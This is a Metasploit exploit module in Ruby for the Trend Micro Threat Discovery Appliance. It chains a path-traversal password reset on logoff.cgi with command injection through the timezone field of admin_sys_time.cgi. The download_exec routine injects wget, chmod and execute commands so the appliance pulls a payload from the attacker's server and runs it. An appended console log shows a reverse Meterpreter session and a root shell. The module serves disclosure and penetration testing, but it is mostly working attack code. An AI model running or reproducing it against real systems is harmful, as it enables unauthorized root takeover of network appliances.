Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',  
'Description' => %q{  
This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.  
The first is an authentication bypass vulnerability via a file delete in logoff.cgi  
which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).  
The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi  
interface (CVE-2016-7547).  
  
Note: You have the option to use the authentication bypass or not since it requires  
that the server is rebooted. The password reset will render the authentication useless.  
Typically, if an administrator cant login, they will bounce the box. Therefore, this  
module performs a heart beat request until the box is bounced and then attempts to login  
and to perform the command injection. This module has been tested on version 2.6.1062r1  
of the appliance.  
},  
'Author' =>  
[  
'mr_me <[email protected]>', # vuln + msf  
'Roberto Suggi Liverani @malerisch', # vuln + msf  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://asciinema.org/a/112480'], # demo  
[ 'CVE', '2016-7552'], # auth bypass  
[ 'CVE', '2016-7547'], # cmdi  
],  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 10 2017'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'The target URI', '/']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']),  
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),  
OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]),  
  
], self.class)  
end  
  
def check  
if do_login  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),  
'cookie' => @cookie,  
'method' => 'GET',  
}, 1)  
if res and res.code == 200 and res.body =~ /About Trend Micro/  
version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/  
case version  
when /2.6.1062/  
return Exploit::CheckCode::Vulnerable  
end  
end  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
if datastore['AUTHBYPASS']  
print_status("Bypassing authentication...")  
if reset_password  
print_good("The password has been reset!")  
print_status("Waiting for the administrator to reboot...")  
pwn_after_reboot  
end  
else  
if do_login  
pwn  
else  
fail_with(Failure::NoAccess, "Authentication failed")  
end  
end  
end  
  
def reset_password  
c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),  
'method' => 'GET',  
'cookie' => c,  
})  
  
if res and res.code == 200 and res.headers.to_s =~ /Backtrace/  
return true  
end  
return false  
end  
  
def pwn  
start_http_server  
print_good("Logged in")  
download_exec  
end  
  
def pwn_after_reboot  
@rebooted = false  
while !@rebooted  
if do_login  
@rebooted = true  
pwn  
end  
end  
end  
  
def on_request_uri(cli, request)  
if (not @pl)  
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{rhost}:#{rport} - Sending the payload to the server...")  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
def start_http_server  
@pl = generate_payload_exe  
@elf_sent = false  
  
downfile = rand_text_alpha(8+rand(8))  
resource_uri = '/' + downfile  
  
# do not use SSL for the attacking web server  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
@service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri  
service_url_payload = srv_host + resource_uri  
  
print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
  
datastore['SSL'] = true if ssl_restore  
connect  
end  
  
def exec(cmd)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),  
'cookie' => @cookie,  
'method' => 'POST',  
'vars_post' => {  
'act' => 'save',  
'timezone' => cmd,  
}  
}, 1)  
end  
  
def download_exec  
@bd = rand_text_alpha(8+rand(8))  
register_file_for_cleanup("/tmp/#{@bd}")  
exec("|`wget #{@service_url} -O /tmp/#{@bd}`")  
exec("|`chmod 755 /tmp/#{@bd}`")  
exec("|`/tmp/#{@bd}`")  
  
# we need to delay, for the stager  
select(nil, nil, nil, 5)  
end  
  
def do_login  
  
begin  
login = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),  
'method' => 'POST',  
'vars_post' => {  
'passwd' => datastore['PASSWORD'],  
'isCookieEnable' => 1,  
}  
})  
  
# these are needed due to the reboot  
rescue Rex::ConnectionRefused  
return false  
rescue Rex::ConnectionTimeout  
return false  
end  
if login and login.code == 200 and login.body =~ /frame\.cgi/  
@cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/  
return true  
end  
return false  
end  
end  
=begin  
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc   
[*] Processing scripts/trend.rc for ERB directives.  
resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi  
resource (scripts/trend.rc)> set RHOST 192.168.100.2  
RHOST => 192.168.100.2  
resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp  
payload => linux/x86/meterpreter/reverse_tcp  
resource (scripts/trend.rc)> set LHOST 192.168.100.13  
LHOST => 192.168.100.13  
resource (scripts/trend.rc)> exploit  
[*] Exploit running as background job.  
  
[*] Started reverse TCP handler on 192.168.100.13:4444   
[*] Bypassing authentication...  
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) >   
[+] The password has been reset!  
[*] Waiting for the reboot...  
[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...  
[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP  
[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP  
[+] Logged in  
[*] 192.168.100.2:443 - Sending the payload to the server...  
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)  
[*] Sending stage (1495599 bytes) to 192.168.100.2  
[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500  
[+] Deleted /tmp/rpNDXQZTB  
[*] Server stopped.  
  
msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1  
[*] Starting interaction with 1...  
  
meterpreter > shell  
Process 3846 created.  
Channel 1 created.  
  
  
BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
/bin/sh: can't access tty; job control turned off  
/opt/TrendMicro/MinorityReport/www/cgi-bin # id  
id  
uid=0(root) gid=0(root)  
/opt/TrendMicro/MinorityReport/www/cgi-bin #  
=end  
`